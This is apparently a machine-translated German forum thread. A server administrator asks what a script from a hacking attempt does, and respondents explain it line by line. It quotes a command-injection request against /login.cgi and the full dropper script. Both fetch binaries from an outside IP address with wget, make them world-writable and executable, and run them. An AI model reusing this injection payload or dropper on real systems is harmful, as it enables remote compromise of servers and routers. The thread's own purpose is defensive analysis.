Was macht dieses Bash-Skript? [Hack Versuch]

4001
ndom91

Ich habe auf meinen Servern Apache-Protokolle bemerkt, die folgenden merkwürdigen Zeilen in letzter Zeit:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

Also habe ich einen benutzerdefinierten Fail2Ban-Filter erstellt und angefangen, die IPs zu verbieten, die diese /login.cgi-URLs anfordern.

Aber ich war neugierig, was sie wollten, also zog ich das Skript, das sie ausführen wollten, und ich kann nicht herausfinden, was genau es tut. Etwas über das Entfernen von Arch-Ordnern in / var und / tmp?

Wie auch immer, hier ist es:

#!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name in $bin_names do rm -rf $u cp $SHELL $u chmod 777 $u >$u wget http://$http_server:$http_port/$name -O -> $u ./$u $name done 
30
Verwandte Sicherheitslücke: https://twitter.com/txalin/status/1007625620090707974?lang=de user2064000 vor 5 Jahren 4
Wie ist dieses Skript überhaupt auf Ihrem Server gelandet? MrWhite vor 5 Jahren 1
Ich öffne einfach die .sh-Datei in einem Browser auf meinem Heim-PC, kopiere und füge sie hier ein, sie ist nie auf meinem Server gelandet. ndom91 vor 5 Jahren 3
Dieses Skript ist ein "Dropper", mit dem das eigentliche Exploit-Skript heruntergeladen wird. Dies wird sich unter "hxxp: //80.211.173.159: 80 / $ name" befinden, wobei "$ name" für jede der CPU-Architekturen in "bin_names" steht. So werden 7 Angriffsskripte heruntergeladen und ausgeführt BlueCacti vor 5 Jahren 1

2 Antworten auf die Frage

42
l0b0

Zeile für Zeile:

#!/bin/sh 

Legt die shHülle fest, je nachdem, was die Shebang-Linie ist. sh%20/tmp/ksin der Anfrage überschreibt dies dies, so dass diese Zeile als normaler Kommentar behandelt und ignoriert wird.

u="asgknskjdgn" 

Gibt einen beliebigen Namen an, vermutlich um Kollisionen mit anderen Dateinamen zu vermeiden. Ich bin nicht sicher, warum sie es nicht einfach nutzen würden mktemp, aber vielleicht ist das nicht auf allen Plattformen verfügbar.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" 

Zählt mehrere gängige CPU-Architekturen auf.

http_server="80.211.173.159" http_port=80 

Der Server, der den Exploit hat.

cd /tmp/||cd /var/ 

Versucht, das Verzeichnis an einen Ort zu ändern, an dem Ihr Webserver wahrscheinlich Dateien erstellen kann. Ich glaube, dass SELinux dabei helfen wird, indem es strengere Regeln bezüglich der Möglichkeiten des Webservers durchführt als das Dateisystem allein.

for name in $bin_names do 

Für jede CPU-Architektur…

 rm -rf $u 

Entfernt zuvor getestete Exploit-Programme. Unnötig wegen der nächsten Zeile, kann also ignoriert werden.

 cp $SHELL $u 

Kopiert die aktuelle ausführbare Shell-Datei ( /bin/sh). Kann wegen der nächsten Zeile ignoriert werden.

 chmod 777 $u 

Damit hat jeder vollen Zugriff auf die neue Datei. Dies hätte nach dem wgetBefehl geschehen müssen, was entweder ein Zeichen für einen Shell-Neuling oder eine Fehlleitung ist.

 >$u 

Leert die Datei. Sinnlos wegen der nächsten Zeile.

 wget http://$http_server:$http_port/$name -O -> $u 

Überschreibt die Datei mit dem Exploit-Skript für diese Architektur. -O -> $uhätte geschrieben werden können -O - > $u(der Bindestrich bedeutet, dass der Download in die Standardausgabe geschrieben werden sollte), was äquivalent ist -O $u.

 ./$u $name 

Führt das Exploit-Skript mit der Architektur als erstes Argument aus.

done 

Beendet die Schleife.

Anscheinend handelt es sich hierbei um ein triviales Exploitversuchsskript, bei dem bekannte Exploits gegen verschiedene CPU-Plattformen versucht werden. Ich weiß nicht, warum es $udreimal überschrieben wird, aber diese Operationen könnten einfach aus einer früheren Iteration des Skripts bestehen. Vermutlich hatte die frühere Version die Exploits hart codiert und nicht dynamisch bereitgestellt - die erste ist einfacher, aber sie garantiert fast, dass das Skript im Laufe der Zeit weniger effektiv sein wird, da Fehler behoben wurden.

Es ist von Vorteil, die Datei explizit zu rm'en. Wenn das Ziel bereits existiert und gerade ausgeführt wird, kann der Kernel die Datei nicht zum Schreiben öffnen (-ETXTBSY). Das Umbenennen oder Löschen eines laufenden Programms ist jedoch zulässig. grawity vor 5 Jahren 21
Was bewirkt das `->` im `wget`-Befehl? Warum nicht einfach "wget ​​... -O $ u"? RonJohn vor 5 Jahren 0
@RonJohn las es als `->` cat vor 5 Jahren 1
@ l0b0 Nein, tut es nicht. Ich meinte in meinem Kommentar, dass die Leute es selbst herausfinden könnten, wenn sie neugierig wären. Entschuldigung, dass ich ein Chaos angefangen habe Nonny Moose vor 5 Jahren 0
@RonJohn Es sind eigentlich zwei verschiedene Dinge: `-O -`, die dazu führt, dass wget nach stdout schreibt, und`> `, die die Umleitung der Ausgabe beginnt. Warum nicht, scheint der Angreifer unerfahren zu sein, oder ist es vielleicht eine Verschleierung? Nonny Moose vor 5 Jahren 0
Bei "-O-> Dateiname" wird der "Dateiname" nicht in der Ausgabe von * ps ax * angezeigt. Dies kann ein Vorteil sein, um das Debuggen schwieriger zu machen. pts vor 5 Jahren 5
Das `cp` gibt Ihnen eine ausführbare Datei. Möglicherweise nützlich, wenn "chmod" ausfällt? Edit: da [scheinbar] (https://twitter.com/txalin/status/1007625620090707974?lang=de) auf Router abgezielt wird, ist es durchaus möglich, dass `chmod` nicht existiert. Bob vor 5 Jahren 1
Das Skript versucht nicht einmal, den CPU-Bogen des Ziels zu identifizieren, es lädt alle Skripts herunter und führt sie aus. Ich frage mich, ob das falsche Skript ausgeführt werden könnte, es sei denn, das Skript selbst führt die Überprüfung durch. BlueCacti vor 5 Jahren 0
Das ist in der Tat ziemlich amateurhaft. Der ausgenutzte Exploit gilt nur für bestimmte DLINK-Ausrüstungen, so dass immer nur die einzige funktionierende Architektur zur Verfügung steht. Natürlich sind hässliche erfolgreiche Hacks immer noch erfolgreiche Hacks… w00t vor 5 Jahren 0
Mit> werden die zuvor festgelegten Berechtigungen für die Datei nicht geändert. Es sieht so aus, als wären cp und chmod beide Versuche, die Datei ausführbar zu machen. Dann ersetzt das Wget mit der Umleitung den Inhalt, ohne den Besitz und die Berechtigungen der Datei zu ändern. Wenn Sie wget -O Dateiname verwenden, wird die Datei überschrieben und die Berechtigungen geändert. Randy Orrison vor 5 Jahren 0
12
Mokubai

Das wgetist die wichtigste gefährliche Linie.

Die for name in $bin_namesListe der Plattformen wird durchgearbeitet. Sie löscht für jede Plattform ein temporäres Verzeichnis, kopiert eine Shell und macht sie dann für alle zugänglich.

Anschließend lädt es eine Datei mit herunter wgetund führt sie dann mit dem Shell-Programm aus, das gerade kopiert wurde.

Das Skript versucht im Wesentlichen, eine Reihe von ausführbaren Dateien oder Skripts für jede Plattform herunterzuladen, die es kann, und reibt sie an Ihrem System, in der Hoffnung, dass dies Ihr System weiter gefährden kann.

reiben == laufen? Barmar vor 5 Jahren 6
@Barmar Ich bin mir sicher, das war absichtlich: P Canadian Luke vor 5 Jahren 5